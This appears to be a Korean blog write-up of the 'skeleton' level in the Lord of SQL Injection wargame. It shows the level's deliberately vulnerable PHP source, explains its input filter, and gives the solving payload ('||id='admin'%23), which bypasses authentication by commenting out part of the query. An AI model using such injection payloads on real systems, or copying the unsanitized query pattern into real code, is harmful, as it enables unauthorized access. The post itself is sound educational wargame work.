728x90
반응형
query : select id from prob_skeleton where id='guest' and pw='' and 1=0
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
코드 해석
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
- prob _ . () 필터링 수행
if($result['id'] == 'admin') solve("skeleton");
- id = admin일 경우 문제 해결
문제해결
GET 방식으로 URL에 SQL 대입 ( ?pw='||id='admin'%23 )
query : select id from prob_skeleton where id='guest' and pw=''||id='admin'#' and 1=0
728x90
'*Wargame > [ LS ] Load of SQL Injection' 카테고리의 다른 글
[ LS - 11 ] golem (0) | 2021.12.20 |
---|---|
[ LS - 09 ] vampire (0) | 2021.12.18 |
[ LS - 08 ] troll (0) | 2021.12.18 |
[ LS - 07 ] orge (0) | 2021.12.18 |
[ LS - 06 ] darklef (0) | 2021.12.18 |